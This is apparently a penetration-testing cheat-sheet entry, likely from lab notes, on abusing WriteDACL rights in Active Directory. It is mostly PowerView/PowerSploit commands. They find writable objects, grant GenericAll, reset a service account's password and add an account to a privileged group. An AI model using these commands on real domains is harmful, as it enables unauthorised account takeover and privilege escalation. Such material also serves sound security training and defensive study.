WriteDACL
Enumerate users that we have WriteDACL access to
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}Give ourselves the GenericAll access right to the TestService2 object
Add-DomainObjectAcl -TargetIdentity testservice2 -PrincipalIdentity offsec -Rights AllVerify that GenericAll was applied correctly
Get-ObjectAcl -Identity testservice2 -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}Let’s proceed to change its password
net user testservice2 h4x /domainExample
Give ourselves full rights to object due to WriteDACL (using PowerSploit)
Add-DomainObjectAcl -TargetIdentity "MailAdmins" -Rights All -PrincipalIdentity 'sqlsvc' -VerboseAdd ourselves to group
Add-DomainGroupMember -Identity "MailAdmins" -Members 'sqlsvc' -VerboseLast updated